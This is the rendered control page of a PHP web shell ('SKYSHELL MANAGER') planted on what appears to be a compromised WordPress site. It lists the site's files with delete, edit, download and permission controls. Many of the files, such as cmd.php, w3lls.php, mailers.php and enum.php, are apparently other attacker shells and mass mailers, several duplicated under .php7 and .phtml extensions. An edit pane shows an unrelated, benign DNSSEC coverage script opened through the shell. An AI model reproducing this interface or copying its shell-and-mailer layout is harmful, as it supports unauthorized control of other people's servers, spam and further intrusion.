📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
africainfos
/
Nazareth.israel.africa-infos.com
/
Name
Size
Perm
Actions
📁
.tmb
-
0755
🗑️
🏷️
🔒
📁
159264
-
0755
🗑️
🏷️
🔒
📁
289519
-
0755
🗑️
🏷️
🔒
📁
876911
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
wk
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
wpclone_backup
-
0755
🗑️
🏷️
🔒
📄
.webshell_scan_active.json
0.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.webshell_scan_queue_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.lst
105679.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.webshell_scan_state_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.json
0.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
OBFUSCATE.html
86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
_.txt
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cmd.php
35.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
d.php
35.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.php
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.php7
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
database.phtml
159.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.php
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.php7
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
elish.phtml
53.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.php
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.php7
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
enum.phtml
52.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
10.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
filefuns.php
5.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
function.php
4.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inc1.php
4.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inc2.php
0.64 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.4 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.php
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.php7
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
mailers.phtml
124.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
php.php
70.78 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
samurai_activity.log
0.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.html
86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.php
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test.phtml
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
test1.php7
211.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
txets.php
5.93 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3ll_protected_2025-10-25T07-11-52.html
160.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3lls.php
206.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3lls.php7
209.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3llscc - Copy.php7
174.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
w3llscc.php7
174.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
webshell_scan_batch_progress.log
63.85 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-canvas.php
10.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-constants.php
1.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-frame.php
27.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-query.php
10.46 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-response.php
123 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-schema.php
1.92 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-class-tokens.php
1.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-conffq.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-formatting.php
34.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-headre.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-protection.php
10.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-templates.php
1.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: coverage.py
############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. ############################################################################ from __future__ import print_function import os import sys import argparse import glob import re import time import calendar import pprint from collections import defaultdict prog = 'dnssec-coverage' from isc import dnskey, eventlist, keydict, keyevent, keyzone, utils ############################################################################ # print a fatal error and exit ############################################################################ def fatal(*args, **kwargs): print(*args, **kwargs) sys.exit(1) ############################################################################ # output: ############################################################################ _firstline = True def output(*args, **kwargs): """output text, adding a vertical space this is *not* the first first section being printed since a call to vreset()""" global _firstline if 'skip' in kwargs: skip = kwargs['skip'] kwargs.pop('skip', None) else: skip = True if _firstline: _firstline = False elif skip: print('') if args: print(*args, **kwargs) def vreset(): """reset vertical spacing""" global _firstline _firstline = True ############################################################################ # parse_time ############################################################################ def parse_time(s): """ convert a formatted time (e.g., 1y, 6mo, 15mi, etc) into seconds :param s: String with some text representing a time interval :return: Integer with the number of seconds in the time interval """ s = s.strip() # if s is an integer, we're done already try: return int(s) except ValueError: pass # try to parse as a number with a suffix indicating unit of time r = re.compile(r'([0-9][0-9]*)\s*([A-Za-z]*)') m = r.match(s) if not m: raise ValueError("Cannot parse %s" % s) n, unit = m.groups() n = int(n) unit = unit.lower() if unit.startswith('y'): return n * 31536000 elif unit.startswith('mo'): return n * 2592000 elif unit.startswith('w'): return n * 604800 elif unit.startswith('d'): return n * 86400 elif unit.startswith('h'): return n * 3600 elif unit.startswith('mi'): return n * 60 elif unit.startswith('s'): return n else: raise ValueError("Invalid suffix %s" % unit) ############################################################################ # set_path: ############################################################################ def set_path(command, default=None): """ find the location of a specified command. if a default is supplied and it works, we use it; otherwise we search PATH for a match. :param command: string with a command to look for in the path :param default: default location to use :return: detected location for the desired command """ fpath = default if not fpath or not os.path.isfile(fpath) or not os.access(fpath, os.X_OK): path = os.environ["PATH"] if not path: path = os.path.defpath for directory in path.split(os.pathsep): fpath = os.path.join(directory, command) if os.path.isfile(fpath) and os.access(fpath, os.X_OK): break fpath = None return fpath ############################################################################ # parse_args: ############################################################################ def parse_args(): """Read command line arguments, set global 'args' structure""" compilezone = set_path('named-compilezone', os.path.join(utils.prefix('sbin'), 'named-compilezone')) parser = argparse.ArgumentParser(description=prog + ': checks future ' + 'DNSKEY coverage for a zone') parser.add_argument('zone', type=str, nargs='*', default=None, help='zone(s) to check' + '(default: all zones in the directory)') parser.add_argument('-K', dest='path', default='.', type=str, help='a directory containing keys to process', metavar='dir') parser.add_argument('-f', dest='filename', type=str, help='zone master file', metavar='file') parser.add_argument('-m', dest='maxttl', type=str, help='the longest TTL in the zone(s)', metavar='time') parser.add_argument('-d', dest='keyttl', type=str, help='the DNSKEY TTL', metavar='time') parser.add_argument('-r', dest='resign', default='1944000', type=str, help='the RRSIG refresh interval ' 'in seconds [default: 22.5 days]', metavar='time') parser.add_argument('-c', dest='compilezone', default=compilezone, type=str, help='path to \'named-compilezone\'', metavar='path') parser.add_argument('-l', dest='checklimit', type=str, default='0', help='Length of time to check for ' 'DNSSEC coverage [default: 0 (unlimited)]', metavar='time') parser.add_argument('-z', dest='no_ksk', action='store_true', default=False, help='Only check zone-signing keys (ZSKs)') parser.add_argument('-k', dest='no_zsk', action='store_true', default=False, help='Only check key-signing keys (KSKs)') parser.add_argument('-D', '--debug', dest='debug_mode', action='store_true', default=False, help='Turn on debugging output') parser.add_argument('-v', '--version', action='version', version=utils.version) args = parser.parse_args() if args.no_zsk and args.no_ksk: fatal("ERROR: -z and -k cannot be used together.") elif args.no_zsk or args.no_ksk: args.keytype = "KSK" if args.no_zsk else "ZSK" else: args.keytype = None if args.filename and len(args.zone) > 1: fatal("ERROR: -f can only be used with one zone.") # strip trailing dots if any args.zone = [x[:-1] if (len(x) > 1 and x[-1] == '.') else x for x in args.zone] # convert from time arguments to seconds try: if args.maxttl: m = parse_time(args.maxttl) args.maxttl = m except ValueError: pass try: if args.keyttl: k = parse_time(args.keyttl) args.keyttl = k except ValueError: pass try: if args.resign: r = parse_time(args.resign) args.resign = r except ValueError: pass try: if args.checklimit: lim = args.checklimit r = parse_time(args.checklimit) if r == 0: args.checklimit = None else: args.checklimit = time.time() + r except ValueError: pass # if we've got the values we need from the command line, stop now if args.maxttl and args.keyttl: return args # load keyttl and maxttl data from zonefile if args.zone and args.filename: try: zone = keyzone(args.zone[0], args.filename, args.compilezone) args.maxttl = args.maxttl or zone.maxttl args.keyttl = args.maxttl or zone.keyttl except Exception as e: print("Unable to load zone data from %s: " % args.filename, e) if not args.maxttl: output("WARNING: Maximum TTL value was not specified. Using 1 week\n" "\t (604800 seconds); re-run with the -m option to get more\n" "\t accurate results.") args.maxttl = 604800 return args ############################################################################ # Main ############################################################################ def main(): args = parse_args() print("PHASE 1--Loading keys to check for internal timing problems") try: kd = keydict(path=args.path, zones=args.zone, keyttl=args.keyttl) except Exception as e: fatal('ERROR: Unable to build key dictionary: ' + str(e)) for key in kd: key.check_prepub(output) if key.sep: key.check_postpub(output) else: key.check_postpub(output, args.maxttl + args.resign) output("PHASE 2--Scanning future key events for coverage failures") vreset() try: elist = eventlist(kd) except Exception as e: fatal('ERROR: Unable to build event list: ' + str(e)) errors = False if not args.zone: if not elist.coverage(None, args.keytype, args.checklimit, output): errors = True else: for zone in args.zone: try: if not elist.coverage(zone, args.keytype, args.checklimit, output): errors = True except: output('ERROR: Coverage check failed for zone ' + zone) sys.exit(1 if errors else 0)
Save